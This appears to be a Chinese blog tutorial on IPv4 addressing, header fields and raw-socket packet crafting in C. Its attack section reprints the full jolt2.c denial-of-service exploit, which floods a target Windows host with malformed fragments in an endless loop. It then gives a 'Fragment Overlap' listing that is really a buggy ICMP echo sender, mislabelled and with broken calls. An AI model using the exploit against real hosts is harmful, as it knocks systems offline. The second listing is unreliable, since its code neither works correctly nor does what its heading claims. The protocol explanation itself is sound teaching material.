4.IPv4协议分析与实践

IPv4 协议分析与实践

1. 概述

1.1 简介

  • IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达
  • IPv4 使用 32 位地址,最多 4,294,967,296(2^32)个地址,有些地址是为特殊用途所保留的,如专用网络(约1800万个地址)和多播地址(约2.7亿个地址)

1.2 IPv4 地址格式

  • 分类网络 : 一个IP地址由网络类别(Class)和主机号组成, 定义了五个类别:A、B、C、D 和 E
  • CIDR (无类别域间路由) : 为了解决路由表项目过多过大的问题,消除了网络类别及划分子网的概念,
    地址表示方式 : IP 地址 = {网络前缀,主机号}/网络前缀所占位数
CIDR 特殊用途的地址
CIDR地址块描述参考资料
0.0.0.0/8本网络(仅作为源地址时合法)RFC 5735
10.0.0.0/8专用网络RFC 1918
100.64.0.0/10电信级NATRFC 6598
127.0.0.0/8环回RFC 5735
169.254.0.0/16链路本地RFC 3927
172.16.0.0/12专用网络RFC 1918
192.0.0.0/24保留(IANA)RFC 5735
192.0.2.0/24TEST-NET-1,文档和示例RFC 5735
192.88.99.0/246to4中继RFC 3068
192.168.0.0/16专用网络RFC 1918
198.18.0.0/15网络基准测试RFC 2544
198.51.100.0/24TEST-NET-2,文档和示例RFC 5737
203.0.113.0/24TEST-NET-3,文档和示例RFC 5737
224.0.0.0/4多播(之前的D类网络)RFC 3171
240.0.0.0/4保留(之前的E类网络)RFC 1700
255.255.255.255受限广播RFC 919
专用网络
  • 在专用网络之外不可路由,专用网络之内的主机也不能直接与公共网络通信,但可以使用 NAT 转换后通信
名字地址范围地址数量有类别的描述最大的CIDR地址块
24位块10.0.0.0–10.255.255.25516,777,216一个A类10.0.0.0/8
20位块172.16.0.0–172.31.255.2551,048,576连续的16个B类172.16.0.0/12
16位块192.168.0.0–192.168.255.25565,536连续的256个C类192.168.0.0/16

1.3 IPv4 报文格式

  • IP 报文的分片, 是 IP 数据包为了满足链路层的数据大小而进行的分割

在这里插入图片描述

  • 版本号 (4) : IP 协议版本号, IPv4 固定为 4, IPv6 固定为 6

  • 首部长度 (4) : 首部有多少个 4 字节,最小值为 5, 最大值为 15; 因 IPv4 首部可能包含选项,所以长度不确定

  • 服务类型 (8) : 主要用于调整服务质量(低延迟、高吞吐量和高可靠性)

    • [0-2] : 优先级, 现在已被忽略
    • [3] : 是否低延时
    • [4] : 是否高吞吐量
    • [5] : 是否高可靠
    • [6-7] : 保留
  • 总长度 (16) : 报文首部和数据总长度(字节)

    • 最小值为 20(20字节首部+0字节数据),最大值为 2^16-1=65535
    • 当 MTU 的值小于 IP 报文长度时,报文就必须被分片
    • IP 规定主机都必须支持最小 576 字节报文 (512数据 + 60最长IP首部 + 4富裕量 = 576)
  • 标识符 (16) : 用于标识一个报文的所有分片, 因为分片不一定按序到达, 所以重组时需要知道分片所属报文

  • 标志 (3) : 用于控制分片, 当禁止分片时, 但路由又必须分片报文, 此报文会被丢弃

    • [0] 保留, 必须为 0
    • [1] 是否禁止分片
    • [2] 是否还有分片
  • 分片偏移 (13) : 每个分片相对于原始报文开头的偏移量,以8字节为单位

  • 存活时间 (8) : 为了避免报文在互联网中永远存在(如陷入路由环路), 报文每经过一个路由器就减 1,
    当值为 0 时, 报文不再向一下跳传输并丢弃, 最大值是 255

  • 协议 (8) : 该报文数据使用的协议

  • 首部校验和 (16) : 不包括数据部分, 在每一跳, 路由器都要重新计算首部检验和并与该字段比对, 不一致则丢弃

  • 源地址 (32) : 报文发送端 IP 地址, 但由于 NAT 存在, 该字段不一定是报文的真实发送端

  • 目的地址 (32) : 报文的接收端 IP 地址

2. IPv4 编程

2.1 ipv4.h

#ifndef __ipv4_h_
#define __ipv4_h_

#define IP_VERSION_4		  4
#define IP_VERSION_6          6

#define IPv4_IHL_MIN          5
#define IPv4_IHL_MAX          15

#define IPv4_TOT_MAX          65535

#define IPv4_TOS_TOS_MASK     0x1E
#define IPv4_TOS_TOS(tos)     ((tos)&IPTOS_TOS_MASK)
#define IPv4_TOS_LOWDELAY     0x10
#define IPv4_TOS_THROUGHPUT   0x08
#define IPv4_TOS_RELIABILITY  0x04
#define IPv4_TOS_MINCOST      0x02

#define IPv4_TTL_DEF          64
#define IPv4_TTL_MAX          255

#define IP_PROTO_ICMP         1
#define IP_PROTO_IGMP         2
#define IP_PROTO_TCP          6
#define IP_PROTO_UDP          17
#define IP_PROTO_IPV6         41
#define IP_PROTO_SCTP         132
#define IP_PROTO_RAW          255

struct ipv4_hdr {
   unsigned char ihl:4;
   unsigned char version:4;   // 交换 version 和 ihl 为网络字节序
   unsigned char tos;
   unsigned short tot_len;
   unsigned short id;
   unsigned short flags:3;
   unsigned short frag_off:13;
   unsigned char  ttl;
   unsigned char  protocol;
   unsigned short check;
   unsigned int   saddr;
   unsigned int   daddr;
   /*The options start here. */
};

struct ipv4_hdr *ipv4_alloc_packet(unsigned short tot_len, 
   	unsigned short id, unsigned char proto, const char *saddr, 
   	const char *daddr, const void *data, size_t size);

void ipv4_free_packet(struct ipv4_hdr **packet);


int ipv4_socket();

ssize_t ipv4_send(int sockfd, struct ipv4_hdr *packet, 
   	size_t size, const char *daddr, int flags);

ssize_t ipv4_recv(int sockfd, struct ipv4_hdr *packet, 
   	size_t size, const char *addr, int flags);

void ipv4_close(int sockfd);


#endif /* __ipv4_h_ */

2.2 ipv4.c

#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include "ipv4.h"
#include "cksum.h"
#include "common.h"

struct ipv4_hdr *ipv4_alloc_packet(unsigned short tot_len, unsigned short id, 
		unsigned char proto, const char *saddr, const char *daddr, const void *data, size_t size)
{
	struct in_addr addr;
	struct ipv4_hdr *packet;

	packet = (struct ipv4_hdr *) calloc(1, tot_len);
	packet->version  = IP_VERSION_4;
	packet->ihl      = (tot_len - size) / 4;
	packet->tos      = 0x00;
	packet->tot_len  = htons(tot_len);
	packet->id       = htons(id);
	packet->flags    = 0b000;
	packet->frag_off = 0x00;
	packet->ttl      = IPv4_TTL_DEF;
	packet->protocol = proto;
	
	if (inet_aton(saddr, &addr) == 0) 
		handle_error_en(EINVAL, "saddr");
	packet->saddr = addr.s_addr;

	if (inet_aton(daddr, &addr) == 0) 
		handle_error_en(EINVAL, "daddr");
	packet->daddr = addr.s_addr;

	packet->check = cksum((uint16_t *)packet, tot_len - size);
	
	if (NULL != data && size > 0) {
		memcpy((char *)packet + packet->ihl * 4, data, size);
	}
	
	return packet;
}

void ipv4_free_packet(struct ipv4_hdr **ipv4)
{
	if (NULL != ipv4 && NULL != *ipv4) {
		free(*ipv4);
		*ipv4 = NULL;
	}
}


int ipv4_socket() 
{
	int sockfd;
	int flag = 1;

	if ((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) 
		handle_error("socket");

	if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &flag, sizeof(flag)) == -1)
		handle_error("setsockopt : IP_HDRINCL");

	return sockfd;
}

ssize_t ipv4_send(int sockfd, struct ipv4_hdr *packet, size_t size, 
		const char *daddr, int flags) 
{
	ssize_t count;
	struct sockaddr_in addr;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	inet_pton(addr.sin_family, daddr, &addr.sin_addr);
	
	if ((count = sendto(sockfd, packet, size, flags, (struct sockaddr *)&addr, sizeof(addr))) == -1)
		handle_error("sendto");
	return count;
}

ssize_t ipv4_recv(int sockfd, struct ipv4_hdr *packet, size_t size, 
		const char *daddr, int flags) 
{
	ssize_t count;
	socklen_t socklen;	
	struct sockaddr_in addr;

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	inet_pton(addr.sin_family, daddr, &addr.sin_addr);

	socklen = sizeof(addr);
	
	if ((count = recvfrom(sockfd, packet, size, flags, (struct sockaddr *)&addr, &socklen)) == -1)
		handle_error("recvfrom");
	return count;
}

void ipv4_close(int sockfd) 
{
	if (close(sockfd) == -1)
		handle_error("close");
}

2.3 main.c

#include <stdio.h>
#include <string.h>
#include "ipv4.h"

static void ipv4_send_test()
{
	int sockfd;

	unsigned short tot_len;
	struct ipv4_hdr *packet;

	const char *data  = "aaaaaaaaaaaaa";
	const char *saddr = "192.168.2.100";
	const char *daddr = "192.168.2.200";

	sockfd  = ipv4_socket();
	tot_len = sizeof(struct ipv4_hdr) + strlen(data);
	
	packet = ipv4_alloc_packet(tot_len, 0x0001, IP_PROTO_RAW, saddr, daddr, data, strlen(data));
	ipv4_send(sockfd, packet, tot_len, daddr, 0);

	ipv4_close(sockfd);	
}

int main(int argc, char *argv[])
{
	ipv4_send_test();
	return 0;
}
shell> sudo tcpdump -nt -XX 'ip or icmp'
IP 192.168.2.100 > 192.168.2.200:  ip-proto-255 13
	0x0000:  000d 0d0d 0d0d 0c0c 0c0c 0c0c 0800 4500  ..............E.
	0x0010:  0021 0001 0000 40ff f360 c0a8 0264 c0a8  .!....@..`...d..
	0x0020:  02c8 6161 6161 6161 6161 6161 6161 61    ..aaaaaaaaaaaaa
IP 192.168.2.200 > 192.168.2.100: ICMP 192.168.2.200 proto 255 unreachable, length 41
	0x0000:  0c0c 0c0c 0c0c 000d 0d0d 0d0d 0800 45c0  ..............E.
	0x0010:  003d adc3 0000 4001 45c0 c0a8 02c8 c0a8  .=....@.E.......
	0x0020:  0264 0302 53b5 0000 0000 4500 0021 0001  .d..S.....E..!..
	0x0030:  0000 40ff f360 c0a8 0264 c0a8 02c8 6161  ..@..`...d....aa
	0x0040:  6161 6161 6161 6161 6161 61              aaaaaaaaaaa

3. IPv4 攻击

3.1 Fragment Attack

/*
  * File:   jolt2.c
  * Author: Phonix <phonix@moocow.org>
  * Date:   23-May-00
  *
  * Description: This is the proof-of-concept code for the
  *              Windows denial-of-serice attack described by
  *              the Razor team (NTBugtraq, 19-May-00)
  *              (MS00-029).  This code causes cpu utilization
  *              to go to 100%.
  *
  * Tested against: Win98; NT4/SP5,6; Win2K
  *
  * Written for: My Linux box.  YMMV.  Deal with it.
  *
  * Thanks: This is standard code.  Ripped from lots of places.
  *         Insert your name here if you think you wrote some of
  *         it.  It's a trivial exploit, so I won't take credit
  *         for anything except putting this file together.
  */

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
   struct iphdr    ip;
   union {
     struct icmphdr  icmp;
     struct udphdr   udp;
   }  proto;
   char data;
} pkt;

int icmplen  = sizeof(struct icmphdr),
     udplen   = sizeof(struct udphdr),
     iplen    = sizeof(struct iphdr),
     spf_sck;

void usage(char *pname)
{
   fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
            pname);
   fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
   exit(0);
}

u_long host_to_ip(char *host_name)
{
   static  u_long ip_bytes;
   struct hostent *res;

   res = gethostbyname(host_name);
   if (res == NULL)
     return (0);
   memcpy(&ip_bytes, res->h_addr, res->h_length);
   return (ip_bytes);
}

void quit(char *reason)
{
   perror(reason);
   close(spf_sck);
   exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
   int     bs, psize;
   unsigned long x;
   struct  sockaddr_in to;

   to.sin_family = AF_INET;
   to.sin_port = 1235;
   to.sin_addr.s_addr = dst_addr;

   if (port)
     psize = iplen + udplen + 1;
   else
     psize = iplen + icmplen + 1;
   memset(&pkt, 0, psize);

   pkt.ip.version = 4;
   pkt.ip.ihl = 5;
   pkt.ip.tot_len = htons(iplen + icmplen) + 40;
   pkt.ip.id = htons(0x455);
   pkt.ip.ttl = 255;
   pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
   pkt.ip.saddr = src_addr;
   pkt.ip.daddr = dst_addr;
   pkt.ip.frag_off = htons (8190);

   if (port)
   {
     pkt.proto.udp.source = htons(port|1235);
     pkt.proto.udp.dest = htons(port);
     pkt.proto.udp.len = htons(9);
     pkt.data = 'a';
   } else {
     pkt.proto.icmp.type = ICMP_ECHO;
     pkt.proto.icmp.code = 0;
     pkt.proto.icmp.checksum = 0;
   }

   while (1) {
     bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
               sizeof(struct sockaddr));
   }
   return bs;
}

int main(int argc, char *argv[])
{
   u_long  src_addr, dst_addr;
   int i, bs=1, port=0;
   char hostname[32];

   if (argc < 2)
     usage (argv[0]);

   gethostname (hostname, 32);
   src_addr = host_to_ip(hostname);

   while ((i = getopt (argc, argv, "s:p:h")) != EOF)
   {
     switch (i)
     {
       case 's':
         dst_addr = host_to_ip(optarg);
         if (!dst_addr)
           quit("Bad source address given.");
         break;

       case 'p':
         port = atoi(optarg);
         if ((port <=0) || (port > 65535))
           quit ("Invalid port number given.");
         break;

       case 'h':
       default:
         usage (argv[0]);
     }
   }

   dst_addr = host_to_ip(argv[argc-1]);
   if (!dst_addr)
     quit("Bad destination address given.");

   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if (!spf_sck)
     quit("socket()");
   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
       sizeof(bs)) < 0)
     quit("IP_HDRINCL");

   do_frags (spf_sck, src_addr, dst_addr, port);
}

3.2 Fragment Overlap

/*  Copyright (C) 2011  P.D. Buchan (pdbuchan@yahoo.com)
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    Original source: https://pastebin.com/62JmMddE
    Modified by Evan Myers.
*/

// Send an IPv4 ICMP packet via raw socket.
// Stack fills out layer 2 (data link) information (MAC addresses) for us.
// Values set for echo request packet, includes some ICMP data.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>           // close(), getopt()
#include <string.h>           // strcpy, memset(), and memcpy()

#include <netdb.h>            // struct addrinfo
#include <sys/types.h>        // needed for socket()
#include <sys/socket.h>       // needed for socket()
#include <netinet/in.h>       // IPPROTO_RAW, IPPROTO_IP, IPPROTO_ICMP
#include <netinet/ip.h>       // struct ip and IP_MAXPACKET (which is 65535)
#include <netinet/ip_icmp.h>  // struct icmp, ICMP_ECHO
#include <arpa/inet.h>        // inet_pton() and inet_ntop()
#include <sys/ioctl.h>        // macro ioctl is defined
#include <bits/ioctls.h>      // defines values for argument "request" of ioctl.
#include <net/if.h>           // struct ifreq

#include <errno.h>            // errno, perror()

// Define some constants.
#define IP4_HDRLEN 20         // IPv4 header length
#define ICMP_HDRLEN 8         // ICMP header length for echo request, excludes data

// Function prototypes
unsigned short int checksum (unsigned short int *, int);

int main (int argc, char **argv)
{
  int status, datalen, sd, *ip_flags, opt;
  const int on = 1;
  char *interface, *target, *src_ip, *dst_ip;
  struct ip iphdr;
  struct icmp icmphdr;
  unsigned char *data, *packet;
  struct addrinfo hints, *res;
  struct sockaddr_in *ipv4, sin;
  struct ifreq ifr;
  void *tmp;


  // Valid command line options string, see GETOPT(3).
  char optstring[] = "i:s:d:";

  // Allocate memory for various arrays.
  // Maximum ICMP payload size = 65535 - IPv4 header (20 bytes) - ICMP header (8 bytes)
  tmp = (unsigned char *) malloc ((IP_MAXPACKET - IP4_HDRLEN - ICMP_HDRLEN) * sizeof (unsigned char));
  if (tmp != NULL) {
    data = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'data'.\n");
    exit (EXIT_FAILURE);
  }
  memset (data, 0, (IP_MAXPACKET - IP4_HDRLEN - ICMP_HDRLEN) * sizeof (unsigned char));

  tmp = (unsigned char *) malloc (IP_MAXPACKET * sizeof (unsigned char));
  if (tmp != NULL) {
    packet = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'packet'.\n");
    exit (EXIT_FAILURE);
  }
  memset (packet, 0, IP_MAXPACKET * sizeof (unsigned char));

  tmp = (char *) malloc (40 * sizeof (char));
  if (tmp != NULL) {
    interface = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'interface'.\n");
    exit (EXIT_FAILURE);
  }
  memset (interface, 0, 40 * sizeof (char));

  tmp = (char *) malloc (40 * sizeof (char));
  if (tmp != NULL) {
    target = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'target'.\n");
    exit (EXIT_FAILURE);
  }
  memset (target, 0, 40 * sizeof (char));

  tmp = (char *) malloc (16 * sizeof (char));
  if (tmp != NULL) {
    src_ip = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'src_ip'.\n");
    exit (EXIT_FAILURE);
  }
  memset (src_ip, 0, 16 * sizeof (char));

  tmp = (char *) malloc (16 * sizeof (char));
  if (tmp != NULL) {
    dst_ip = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'dst_ip'.\n");
    exit (EXIT_FAILURE);
  }
  memset (dst_ip, 0, 16 * sizeof (char));

  tmp = (int *) malloc (4 * sizeof (int));
  if (tmp != NULL) {
    ip_flags = tmp;
  } else {
    fprintf (stderr, "ERROR: Cannot allocate memory for array 'ip_flags'.\n");
    exit (EXIT_FAILURE);
  }
  memset (ip_flags, 0, 4 * sizeof (int));


  // Collect interface and IP values from command line options.
  while ((opt = getopt (argc, argv, optstring)) != -1) {
    switch (opt) {
      case 'i':
        interface = optarg;
        break;
      case 's':
        strcpy (src_ip, optarg);
        break;
      case 'd':
        strcpy (target, optarg);
        break;
      default:
        fprintf (stderr, "Invalid argument \"%d\"", opt);
        exit (EXIT_FAILURE);
    }
  }


  // Submit request for a socket descriptor to lookup interface.
  if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    perror ("socket() failed to get socket descriptor for using ioctl() ");
    exit (EXIT_FAILURE);
  }

  // Use ioctl() to lookup interface.
  memset (&ifr, 0, sizeof (ifr));
  snprintf (ifr.ifr_name, sizeof (ifr.ifr_name), "%s", interface);
  if (ioctl (sd, SIOCGIFINDEX, &ifr) < 0) {
    perror ("ioctl() failed to find interface ");
    return (EXIT_FAILURE);
  }
  close (sd);
  printf ("Index for interface %s is %i\n", interface, ifr.ifr_ifindex);

  // Fill out hints for getaddrinfo().
  memset (&hints, 0, sizeof (struct addrinfo));
  hints.ai_family = AF_INET;
  hints.ai_socktype = SOCK_STREAM;
  hints.ai_flags = hints.ai_flags | AI_CANONNAME;

  // Resolve target using getaddrinfo().
  if ((status = getaddrinfo (target, NULL, &hints, &res)) != 0) {
    fprintf (stderr, "getaddrinfo() failed: %s\n", gai_strerror (status));
    exit (EXIT_FAILURE);
  }
  ipv4 = (struct sockaddr_in *) res->ai_addr;
  tmp = &(ipv4->sin_addr);
  inet_ntop (AF_INET, tmp, dst_ip, 40);
  freeaddrinfo (res);

  // ICMP data
  datalen = 4;
  data[0] = 'T';
  data[1] = 'e';
  data[2] = 's';
  data[3] = 't';

  // IPv4 header
  // IPv4 header length (4 bits): Number of 32-bit words in header = 5
  iphdr.ip_hl = IP4_HDRLEN / 4;

  // Internet Protocol version (4 bits): IPv4
  iphdr.ip_v = 4;

  // Type of service (8 bits)
  iphdr.ip_tos = 0;

  // Total length of datagram (16 bits): IP header + ICMP header + ICMP data
  iphdr.ip_len = htons (IP4_HDRLEN + ICMP_HDRLEN + datalen);

  // ID sequence number (16 bits): unused, since single datagram
  iphdr.ip_id = htons (0);

  // Flags, and Fragmentation offset (3, 13 bits): 0 since single datagram
  // Zero (1 bit)
  ip_flags[0] = 0;

  // Do not fragment flag (1 bit)
  ip_flags[1] = 0;

  // More fragments following flag (1 bit)
  ip_flags[2] = 0;

  // Fragmentation offset (13 bits)
  ip_flags[3] = 0;

  iphdr.ip_off = htons ((ip_flags[0] << 15)
                      + (ip_flags[1] << 14)
                      + (ip_flags[2] << 13)
                      +  ip_flags[3]);

  // Time-to-Live (8 bits): default to maximum value
  iphdr.ip_ttl = 16;

  // Transport layer protocol (8 bits): 1 for ICMP
  iphdr.ip_p = IPPROTO_ICMP;

  // Source IPv4 address (32 bits)
  inet_pton (AF_INET, src_ip, &(iphdr.ip_src));

  // Destination IPv4 address (32 bits)
  inet_pton (AF_INET, dst_ip, &iphdr.ip_dst);

  // IPv4 header checksum (16 bits): set to 0 when calculating checksum
  iphdr.ip_sum = 0;
  iphdr.ip_sum = checksum ((unsigned short int *) &iphdr, IP4_HDRLEN);

  // ICMP header

  // Message Type (8 bits): echo request
  icmphdr.icmp_type = ICMP_ECHO;

  // Message Code (8 bits): echo request
  icmphdr.icmp_code = 0;

  // Identifier (16 bits): usually pid of sending process - pick a number
  icmphdr.icmp_id = htons (1000);

  // Sequence Number (16 bits): starts at 0
  icmphdr.icmp_seq = htons (0);

  // ICMP header checksum (16 bits): set to 0 when calculating checksum
  icmphdr.icmp_cksum = 0;

  // Prepare packet.



  // Next part of packet is upper layer protocol header.
  memcpy ((packet ), &icmphdr, ICMP_HDRLEN);

  // Finally, add the ICMP data.
  memcpy (packet  + ICMP_HDRLEN, data, datalen);

  // Calculate ICMP header checksum
  icmphdr.icmp_cksum = checksum ((unsigned short int *) (packet ), ICMP_HDRLEN + datalen);
  memcpy ((packet ), &icmphdr, ICMP_HDRLEN);


  // The kernel is going to prepare layer 2 information (ethernet frame header)
  // for us. For that, we need to specify a destination for the kernel in order
  // for it to decide where to send the raw datagram. We fill in a struct
  // in_addr with the desired destination IP address, and pass this structure
  // to the sendto() function.
  memset (&sin, 0, sizeof (struct sockaddr_in));
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = iphdr.ip_dst.s_addr;

  // Submit request for a raw socket descriptor.
  if ((sd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    perror ("socket() failed ");
    exit (EXIT_FAILURE);
  }


  // Bind socket to interface index
  if (setsockopt (sd, SOL_SOCKET, SO_BINDTODEVICE, &ifr, sizeof (ifr)) < 0) {
    perror ("setsockopt() failed to bind to interface ");
    exit (EXIT_FAILURE);
  }

  bind (sd, (struct sockaddr*)&sin, sizeof(sin));
  // Send packet.
  if (sendto (sd, packet, ICMP_HDRLEN + datalen, 0, (struct sockaddr *) &sin, sizeof (struct sockaddr)) < 0)  {
    perror ("sendto() failed ");
    exit (EXIT_FAILURE);
  }

  struct sockaddr_in rec;
  unsigned char * pkt = (unsigned char *) malloc (2048);

  if (recvfrom (sd, (void*)pkt, sizeof(struct ip) + sizeof(struct icmp) + datalen, 0, NULL, (socklen_t*)sizeof (struct sockaddr)) < 0)  {
    perror ("recvfrom() failed ");
    exit (EXIT_FAILURE);
  }

  struct ip *ip = (struct ip *)pkt;
  struct icmp *icmp = (struct icmp *)(pkt + sizeof(struct ip));

  printf("%s %s %d\n",(char*)inet_ntoa(*(struct in_addr*)&ip->ip_dst),
                                          (char*)inet_ntoa(*(struct in_addr*)&ip->ip_src),
                                          icmp->icmp_type);

  free (pkt);
  close (sd);

  // Free allocated memory.
  free (data);
  free (packet);
  free (interface);
  free (target);
  free (src_ip);
  free (dst_ip);
  free (ip_flags);

  return (EXIT_SUCCESS);
}

// Checksum function
unsigned short int checksum (unsigned short int *addr, int len)
{
  int nleft = len;
  int sum = 0;
  unsigned short int *w = addr;
  unsigned short int answer = 0;

  while (nleft > 1) {
    sum += *w++;
    nleft -= sizeof (unsigned short int);
  }

  if (nleft == 1) {
    *(unsigned char *) (&answer) = *(unsigned char *) w;
    sum += answer;
  }

  sum = (sum >> 16) + (sum & 0xFFFF);
  sum += (sum >> 16);
  answer = ~sum;
  return (answer);
}
参考链接
  • https://tools.ietf.org/html/rfc791
  • https://zh.wikipedia.org/wiki/IPv4
  • https://zhuanlan.zhihu.com/p/58610182
  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值